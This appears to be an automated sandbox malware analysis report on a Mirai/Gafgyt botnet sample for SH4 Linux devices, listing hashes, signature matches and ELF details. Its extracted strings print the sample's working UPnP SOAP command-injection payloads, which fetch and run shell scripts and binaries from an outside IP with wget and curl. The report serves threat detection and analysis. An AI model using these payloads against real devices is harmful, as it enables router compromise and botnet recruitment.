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Linux Analysis Report
boatnet.sh4.elf

Overview

General Information

Sample name:boatnet.sh4.elf
Analysis ID:1592302
MD5:e4dbba7cc207a73d93908ed3f653a20d
SHA1:70f451be89243147791e73f9defa17c0567e7e54
SHA256:394934802a45feb4e99ecdbf1f6f3d9f5c9195ffa4521e5ed63d9d06d9a9201c
Tags:elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai
Score:88
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1592302
Start date and time:2025-01-16 00:57:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 17s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:boatnet.sh4.elf
Detection:MAL
Classification:mal88.troj.linELF@0/0@2/0
  • VT rate limit hit for: http://5.181.159.16/c.sh;
  • VT rate limit hit for: http://5.181.159.16/idk/home.arm7;chmod
  • VT rate limit hit for: http://5.181.159.16/idk/home.mips
  • VT rate limit hit for: http://5.181.159.16/idk/home.mips;
  • VT rate limit hit for: http://5.181.159.16/w.sh;
  • VT rate limit hit for: http://5.181.159.16/wget.sh;
Command:/tmp/boatnet.sh4.elf
PID:5498
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • dash New Fork (PID: 5488, Parent: 3632)
  • rm (PID: 5488, Parent: 3632, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGq
  • dash New Fork (PID: 5489, Parent: 3632)
  • rm (PID: 5489, Parent: 3632, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGq
  • boatnet.sh4.elf (PID: 5498, Parent: 5420, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/boatnet.sh4.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
Bashlite, GafgytBashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
boatnet.sh4.elfJoeSecurity_GafgytYara detected GafgytJoe Security
    boatnet.sh4.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      boatnet.sh4.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        boatnet.sh4.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
        • 0x143a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x143bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x143d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x143e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x143f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x1440c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x1445c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x144ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x144c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x144d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x144e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x144fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        • 0x14538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
        boatnet.sh4.elfLinux_Trojan_Gafgyt_ea92cca8unknownunknown
        • 0x14284:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
        SourceRuleDescriptionAuthorStrings
        5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmpJoeSecurity_GafgytYara detected GafgytJoe Security
          5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
            5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
              • 0x143a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x143bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x143d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x143e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x143f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x1440c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x1445c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x144ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x144c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x144d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x144e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x144fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              • 0x14538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
              5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmpLinux_Trojan_Gafgyt_ea92cca8unknownunknown
              • 0x14284:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
              Click to see the 4 entries
              No Suricata rule has matched

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Source: boatnet.sh4.elfAvira: detected
              Source: boatnet.sh4.elfVirustotal: Detection: 60%Perma Link
              Source: boatnet.sh4.elfReversingLabs: Detection: 55%
              Source: boatnet.sh4.elfString: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
              Source: boatnet.sh4.elfString: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET/ HTTP/1.1
              Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/c.sh;
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/idk/home.arm7;chmod
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/idk/home.mips
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/idk/home.mips;
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/idk/home.x86
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/w.sh;
              Source: boatnet.sh4.elfString found in binary or memory: http://5.181.159.16/wget.sh;
              Source: boatnet.sh4.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: boatnet.sh4.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

              System Summary

              barindex
              Source: boatnet.sh4.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: boatnet.sh4.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
              Source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
              Source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET/ HTTP/1.1
              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 5.181.159.16 -l /tmp/bigH -r /idk/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: ELF static info symbol of initial sample.symtab present: no
              Source: boatnet.sh4.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: boatnet.sh4.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
              Source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
              Source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
              Source: classification engineClassification label: mal88.troj.linELF@0/0@2/0
              Source: /usr/bin/dash (PID: 5488)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGqJump to behavior
              Source: /usr/bin/dash (PID: 5489)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGqJump to behavior
              Source: /tmp/boatnet.sh4.elf (PID: 5498)Queries kernel information via 'uname': Jump to behavior
              Source: boatnet.sh4.elf, 5498.1.00007ffeca3fa000.00007ffeca41b000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/boatnet.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/boatnet.sh4.elf
              Source: boatnet.sh4.elf, 5498.1.00007ffeca3fa000.00007ffeca41b000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
              Source: boatnet.sh4.elf, 5498.1.000055a35cbb6000.000055a35cc19000.rw-.sdmpBinary or memory string: U5!/etc/qemu-binfmt/sh4
              Source: boatnet.sh4.elf, 5498.1.000055a35cbb6000.000055a35cc19000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
              Source: boatnet.sh4.elf, 5498.1.00007ffeca3fa000.00007ffeca41b000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

              Stealing of Sensitive Information

              barindex
              Source: Yara matchFile source: boatnet.sh4.elf, type: SAMPLE
              Source: Yara matchFile source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: boatnet.sh4.elf, type: SAMPLE
              Source: Yara matchFile source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Source: Yara matchFile source: boatnet.sh4.elf, type: SAMPLE
              Source: Yara matchFile source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: boatnet.sh4.elf, type: SAMPLE
              Source: Yara matchFile source: 5498.1.00007f69e0400000.00007f69e0417000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: boatnet.sh4.elf PID: 5498, type: MEMORYSTR
              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting
              Valid AccountsWindows Management Instrumentation1
              Scripting
              Path Interception1
              File Deletion
              OS Credential Dumping11
              Security Software Discovery
              Remote ServicesData from Local System1
              Non-Application Layer Protocol
              Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
              Application Layer Protocol
              Exfiltration Over BluetoothNetwork Denial of Service
              No configs have been found
              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Number of created Files
              • Is malicious
              • Internet

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand
              SourceDetectionScannerLabelLink
              boatnet.sh4.elf60%VirustotalBrowse
              boatnet.sh4.elf55%ReversingLabsLinux.Trojan.Mirai
              boatnet.sh4.elf100%AviraLINUX/Mirai.bonb
              No Antivirus matches
              No Antivirus matches
              No Antivirus matches
              NameIPActiveMaliciousAntivirus DetectionReputation
              daisy.ubuntu.com
              162.213.35.24
              truefalse
                high
                NameSourceMaliciousAntivirus DetectionReputation
                http://5.181.159.16/wget.sh;boatnet.sh4.elffalse
                  unknown
                  http://5.181.159.16/idk/home.arm7;chmodboatnet.sh4.elffalse
                    unknown
                    http://5.181.159.16/w.sh;boatnet.sh4.elffalse
                      unknown
                      http://5.181.159.16/c.sh;boatnet.sh4.elffalse
                        unknown
                        http://schemas.xmlsoap.org/soap/encoding/boatnet.sh4.elffalse
                          high
                          http://5.181.159.16/idk/home.mipsboatnet.sh4.elffalse
                            unknown
                            http://5.181.159.16/idk/home.mips;boatnet.sh4.elffalse
                              unknown
                              http://5.181.159.16/idk/home.x86boatnet.sh4.elffalse
                                unknown
                                http://schemas.xmlsoap.org/soap/envelope/boatnet.sh4.elffalse
                                  high
                                  No contacted IP infos
                                  No context
                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  daisy.ubuntu.comboatnet.mpsl.elfGet hashmaliciousGafgyt, MiraiBrowse
                                  • 162.213.35.25
                                  res.arc.elfGet hashmaliciousUnknownBrowse
                                  • 162.213.35.24
                                  boatnet.arm7.elfGet hashmaliciousGafgyt, MiraiBrowse
                                  • 162.213.35.24
                                  boatnet.arm6.elfGet hashmaliciousGafgyt, MiraiBrowse
                                  • 162.213.35.25
                                  .i.elfGet hashmaliciousUnknownBrowse
                                  • 162.213.35.25
                                  xd.m68k.elfGet hashmaliciousMiraiBrowse
                                  • 162.213.35.24
                                  arc.elfGet hashmaliciousMiraiBrowse
                                  • 162.213.35.25
                                  arm7.elfGet hashmaliciousMiraiBrowse
                                  • 162.213.35.25
                                  ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                                  • 162.213.35.24
                                  xd.arm6.elfGet hashmaliciousMiraiBrowse
                                  • 162.213.35.25
                                  No context
                                  No context
                                  No context
                                  No created / dropped files found
                                  File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
                                  Entropy (8bit):6.817448188134486
                                  TrID:
                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                  File name:boatnet.sh4.elf
                                  File size:95'616 bytes
                                  MD5:e4dbba7cc207a73d93908ed3f653a20d
                                  SHA1:70f451be89243147791e73f9defa17c0567e7e54
                                  SHA256:394934802a45feb4e99ecdbf1f6f3d9f5c9195ffa4521e5ed63d9d06d9a9201c
                                  SHA512:6074da24ab8136a2bbddd105e95993fa10944a1170982f30999595c770fe3e22f829de377033186f6287288c39e64f4be80752e6028208dbb8642f984ff91acf
                                  SSDEEP:1536:iaj/tWYD9wDTYDcIZoHQ7afJ/UFjpFAazJ9bNMZ3622d8s9B:iq1xps0oIZiB/UFjHnzJ9bNOM
                                  TLSH:9A93AF20D2A55DD1C002477474E8AD39DB22A8C467132DB3F7808A6E644BA9EF41BFFD
                                  File Content Preview:.ELF..............*.......@.4....s......4. ...(...............@...@..k...k...............p...pB..pB.................Q.td............................././"O.n........#.*@........#.*@l;...o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

                                  ELF header

                                  Class:ELF32
                                  Data:2's complement, little endian
                                  Version:1 (current)
                                  Machine:<unknown>
                                  Version Number:0x1
                                  Type:EXEC (Executable file)
                                  OS/ABI:UNIX - System V
                                  ABI Version:0
                                  Entry Point Address:0x4001a0
                                  Flags:0x9
                                  ELF Header Size:52
                                  Program Header Offset:52
                                  Program Header Size:32
                                  Number of Program Headers:3
                                  Section Header Offset:95216
                                  Section Header Size:40
                                  Number of Section Headers:10
                                  Header String Table Index:9
                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                  NULL0x00x00x00x00x0000
                                  .initPROGBITS0x4000940x940x300x00x6AX004
                                  .textPROGBITS0x4000e00xe00x13b800x00x6AX0032
                                  .finiPROGBITS0x413c600x13c600x240x00x6AX004
                                  .rodataPROGBITS0x413c840x13c840x2f200x00x2A004
                                  .ctorsPROGBITS0x4270000x170000x80x00x3WA004
                                  .dtorsPROGBITS0x4270080x170080x80x00x3WA004
                                  .dataPROGBITS0x4270140x170140x39c0x00x3WA004
                                  .bssNOBITS0x4273b00x173b00x4f80x00x3WA004
                                  .shstrtabSTRTAB0x00x173b00x3e0x00x0001
                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                  LOAD0x00x4000000x4000000x16ba40x16ba46.89720x5R E0x10000.init .text .fini .rodata
